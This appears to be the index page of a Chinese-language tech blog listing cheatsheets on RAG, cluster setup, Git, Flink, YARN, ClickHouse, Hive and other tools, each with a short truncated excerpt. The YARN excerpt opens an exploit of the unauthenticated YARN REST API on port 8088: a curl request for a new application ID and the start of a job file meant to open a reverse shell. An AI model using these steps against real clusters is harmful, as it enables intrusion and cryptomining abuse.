CHEATSHEET March 19, 2024

RAG CheatSheet

Words count 27k Reading time 25 mins.

langchain+ollama 本地文档常用模型: SBert ollama加载模型在线[src] https://ollama.com/libraryollama run gemma:2b 离线1... Read article

CHEATSHEET March 19, 2024

Cluster Setup CheatSheet

Words count 138k Reading time 2:06

Cluster-setupBIOS config for Disk SystemDisk Raid 1 DataDisk JBOD OSon demand, ubuntu\fedora\centos\suse\redhat update root passwordsudo passwd root sudo免密1234su chmod u+w /etc/sudoersvi /etc/sudoers # username ALL=(ALL:ALL) NOPASSWD: ALLchmod u-w /e... Read article

CHEATSHEET March 19, 2024

Git CheatSheet

Words count 853 Reading time 1 mins.

检出checkout git checkout 分支名/标签, 该命令会变成detach 只读状态 git checkout -b|-B <new_branch> [<start point>] 基于远程分支名/标签/commit创建新分支 分支管理branch 列出分支 仅本地 git branch 所有 git branch -a 模糊匹配 git branch -a –list <pattern> 删除分支 git bran... Read article

CHEATSHEET March 19, 2024

Flink CheatSheet

Words count 15k Reading time 14 mins.

flinkFlink applications code -> JobGraph -> JobManager -> TaskManagers 环境 ExecutionEnvironment StreamExecutionEnvironment TableEnvironment 并行度env.setParallelism(3) 数据源 env.fromSequence(from, to) env.fromElements(elements: _*) // 添加... Read article

CHEATSHEET March 19, 2024

YARN CheatSheet

Words count 16k Reading time 15 mins.

8088挖矿漏洞发起获取appIDcurl -X POST http://10.33.21.190:8088/ws/v1/cluster/apps/new-application 新建任务信息文件1.json反弹shell{‘application-id’: ‘application_1639358619460_0019’,‘application-name’: ‘get-shell’,‘am-container-spec’: {‘commands’: {‘command’: ‘/bi... Read article

CHEATSHEET March 19, 2024

Apache Arrow CheatSheet

Words count 24k Reading time 22 mins.

相关概念包括ValueVector、Field、Schema、VectorSchemaRoot以及Table 1234567891011<dependency> <groupId>org.apache.arrow</groupId> <artifactId>arrow-memory-netty</artifactId> <version>${arrow.version}</version>&l... Read article

CHEATSHEET March 19, 2024

ClickHouse CheatSheet

Words count 27k Reading time 24 mins.

启动默认绑定端口9000 与hdfs冲突,修改tcp_port默认配置文件/etc/clickhouse-server/config.xml自定义配置文件目录 /etc/clickhouse-server/config.d/ clickhouse startclickhouse stopclickhouse-client docker12docker pull clickhouse/clickhouse-server:22.8.14.53docker run -di --name=clickho... Read article

CHEATSHEET March 30, 2022

zeppelin

Words count 10k Reading time 9 mins.

https://zeppelin.apache.org/download.html cp conf/zeppelin-site.xml.template conf/zeppelin-site.xmlvi conf/zeppelin-site.xml修改zeppelin-site.xml指定绑定的ip和port bin/zeppelin-daemon.sh start bin/zeppelin-daemon.sh stop 支持的组件 12345a... Read article

CHEATSHEET January 25, 2022

hive

Words count 17k Reading time 16 mins.

提取数据为csv1insert overwrite directory '/tmp/blog' row format delimited fields terminated by ',' STORED AS TEXTFILE select * from tbl where concat(year,month,day) = '20210721' and phoneNumber='xx' and platform=&#x... Read article

CHEATSHEET January 20, 2022

TF-ML

Words count 19k Reading time 17 mins.

https://tensorflow.google.cn/resources/learn-ml/theoretical-and-advanced-machine-learning?hl=zh-cn https://tensorflow.google.cn/tutorials/keras/classification?hl=zh-cn http://c.biancheng.net/view/1881.html https://mirrors.tuna.tsinghua.edu.cn/help/an... Read article
Load more
0%